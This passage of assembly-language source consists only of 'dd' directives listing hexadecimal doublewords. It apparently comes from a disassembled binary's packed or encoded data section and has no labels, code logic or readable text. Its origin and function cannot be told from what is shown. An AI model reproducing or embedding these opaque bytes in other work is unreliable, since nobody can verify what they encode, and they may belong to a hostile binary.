		dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh,	0CAC13994h
		dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
		dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h,	4F1E086Dh
		dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h,	0FCC8BAB2h
		dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h,	1D880201h
		dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
		dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
		dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h,	98ECCEF6h
		dd 586179F5h, 2008DBDh,	898F0C6Dh, 0FC002938h, 4F63CE5Eh
		dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh,	0CCEAD723h
		dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
		dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
		dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h,	0D4C40BC8h
		dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
		dd 0C8D8D707h, 6457EAh,	1328F7E4h, 8FCA2443h, 763D2673h
		dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
		dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
		dd 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h,	5B2F0769h
		dd 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h, 6E2F8190h
		dd 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah, 52F080A7h
		dd 0C6F87Bh, 0D1940584h
		dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
		dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h,	32A7E16h
		dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
		dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
		dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
		dd 0C50AEEh, 521502E1h,	0A012DA55h, 8301A6A5h, 9CFF305Ch
		dd 3C1B7BCCh, 7FC1486h,	1CF83101h, 0C21AF052h, 0EA01C1D0h
		dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
		dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h,	0E43C5EC7h
		dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
		dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh,	9E7E8C3Bh
		dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
		dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
		dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
		dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
		dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
		dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
		dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
		dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
		dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h,	510203C4h
		dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh,	0F8E76783h
		dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h,	1982BCEh
		dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h,	8C5F3FB8h
		dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
		dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
		dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
		dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
		dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
		dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
		dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h,	27230054h
		dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
		dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
		dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh,	0C89C074Dh
		dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h,	32205F74h
		dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
		dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
		dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
		dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
		dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
		dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
		dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
		dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
		dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
		dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
		dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h,	40CF8B7Bh
		dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
		dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah,	0F0F87CE0h
		dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
		dd 167F425h, 2F2DC55Fh,	0F59E8351h, 6688F405h, 53153707h
		dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h,	365D3857h
		dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah,	21565762h
		dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
		dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
		dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
		dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h,	2CA92300h
		dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h,	0E0185E00h
		dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
		dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h,	0BF06CAB6h
		dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
		dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
		dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
		dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh,	6A00F277h
		dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
		dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
		dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
		dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
		dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h,	2413CE5Eh
		dd 0AD6C7Ch, 59A94E82h,	0A20E9048h, 40A14434h, 2058B9A4h
		dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
		dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
		dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
		dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
		dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
		dd 1C5DCAFAh, 3E9E055h,	0A468D900h, 81D4B785h, 0C4900029h
		dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h,	0C4AD0064h
		dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
		dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
		dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
		dd 744C8EEh, 23E2475Ch,	9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
		dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h,	60318925h
		dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
		dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
		dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
		dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
		dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
		dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
		dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
		dd 52510F00h, 9FB35D2h,	0E68E009Ah, 0A6E9661h, 3000C481h
		dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
		dd 21DFDAEh, 89D838FEh,	0C108071Eh, 14100E0Ch, 207D2016h
		dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
		dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
		dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
		dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
		dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh,	0E6D8B7CBh
		dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h,	5CD72F89h
		dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h,	70D4E8D3h
		dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
		dd 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h
		dd 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h, 505553B4h
		dd 22579856h, 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h
		dd 0BC8BABF3h, 3E00E92Fh
		dd 0F4EE3B13h, 5E76F0h,	5A8FD15h, 8C5C8B38h, 4CFC831Ch
		dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h,	0F7282474h
		dd 7440698h, 62336815h,	0C71CD0FFh, 17CC849h, 890080ECh
		dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
		dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
		dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
		dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
		dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h,	0BB661007h
		dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
		dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
		dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h,	26985B98h
		dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh,	26807EB4h
		dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
		dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h,	0FAC89741h
		dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
		dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
		dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh,	7334F900h
		dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h,	5CA65AC0h
		dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
		dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
		dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
		dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h,	896F00FAh
		dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
		dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
		dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
		dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
		dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
		dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
		dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
		dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
		dd 25013C0h, 527E5411h,	5295800h, 0C4860CDh, 0FAA6005Ch
		dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h,	8D29C8D9h
		dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh,	136BB28h
		dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
		dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
		dd 0D200F35h, 2C35943h,	6D316C62h, 8840098Dh, 15017310h
		dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
		dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
		dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
		dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
		dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh,	7B2738Ch
		dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah,	0A4003B29h
		dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
		dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh,	0C005DAFDh
		dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch,	0E0587D6Eh
		dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
		dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
		dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
		dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
		dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
		dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
		dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
		dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h,	0C1A9C14h
		dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
		dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
		dd 80C092DAh, 0F4887Ah,	0D741529Ah, 0CA03140Bh,	89770600h
		dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
		dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h,	44FD6Fh
		dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
		dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
		dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
		dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
		dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
		dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
		dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
		dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
		dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h,	2BD00024h
		dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
		dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h,	0F286Eh
		dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
		dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h,	0CB47C370h
		dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h,	27E75AFDh
		dd 0D190C3h, 406A8726h,	1E100668h, 84E3F900h, 2C1F62BAh
		dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh,	0A8178044h
		dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
		dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
		dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
		dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
		dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
		dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh,	0FCF80FDh
		dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
		dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh,	0FA18D2CBh
		dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
		dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
		dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
		dd 387225Ah, 56824C75h,	539B425Bh, 724D45A8h, 18DB7F00h
		dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
		dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
		dd 0FC0010C6h, 800203h,	0F3E4E938h, 11C9798h, 0C23A8300h
		dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
		dd 17A95AAh, 6F1CA5A3h,	0E8744DCEh, 0B80037D4h,	97778AE3h
		dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
		dd 70291FEEh, 9CEC0E9h,	0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
		dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh,	14C0C3F1h
		dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh,	0B2523E4Bh
		dd 3E9A776h, 29E5F810h,	0FCB8401Ch, 0ED58DBE8h,	0D5371E65h
		dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h,	87453D80h
		dd 6F936400h, 6D37803h,	20050055h, 2608A11Bh, 44006209h
		dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
		dd 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h,	44007C34h
		dd 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h
		dd 6C02CA3h, 18F7C62Dh,	1D890017h, 0F9533BA1h, 0A6EC32CEh
		dd 0AC21DE00h, 79E3184h
		dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
		dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
		dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h,	734B7705h
		dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
		dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
		dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
		dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh,	0F2C1997Fh
		dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
		dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh,	0CAFF50D3h
		dd 0DF7126h, 33CD9214h,	474F5455h, 6843EC0Fh, 27A0008Ch
		dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
		dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
		dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h,	0B0279943h
		dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh,	0C183BE5Ah
		dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
		dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
		dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h,	0EB15FF60h
		dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
		dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h,	287C0A6Ah
		dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
		dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah,	458A006Ah
		dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
		dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
		dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h,	7DA91A7Ch
		dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
		dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh,	5700D102h
		dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
		dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh,	9C2C39h
		dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
		dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
		dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
		dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h,	52450F1Bh
		dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
		dd 1AEE224h, 308298E9h,	0C83A41B0h, 4799B0Dh, 407F7700h
		dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
		dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
		dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
		dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h,	0F8347B59h
		dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
		dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h,	65F27Eh
		dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
		dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
		dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h,	0C82CB5h
		dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
		dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h,	6F9B014Ah
		dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
		dd 64F7600h, 41B10CBCh,	61FC6400h, 65633B6Eh, 19200029h
		dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
		dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
		dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
		dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
		dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch,	99D7841Dh
		dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
		dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
		dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
		dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h,	8FEED912h
		dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
		dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
		dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
		dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
		dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h,	94F7FA3h
		dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
		dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
		dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
		dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
		dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
		dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
		dd 3047D83h, 5570C09Bh,	0D0E70EC8h, 12BC62B8h, 0CAD95200h
		dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h,	0F601AF27h
		dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
		dd 38840800h, 2761012h,	56E90009h, 33557EA5h, 6E1C8B78h
		dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
		dd 18EC0C99h, 12A95A8h,	0AC0E495Fh, 0D8727D81h,	0FD007F63h
		dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
		dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
		dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
		dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
		dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
		dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h,	0F202131Eh
		dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
		dd 429800E0h, 10F9C0Eh,	8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
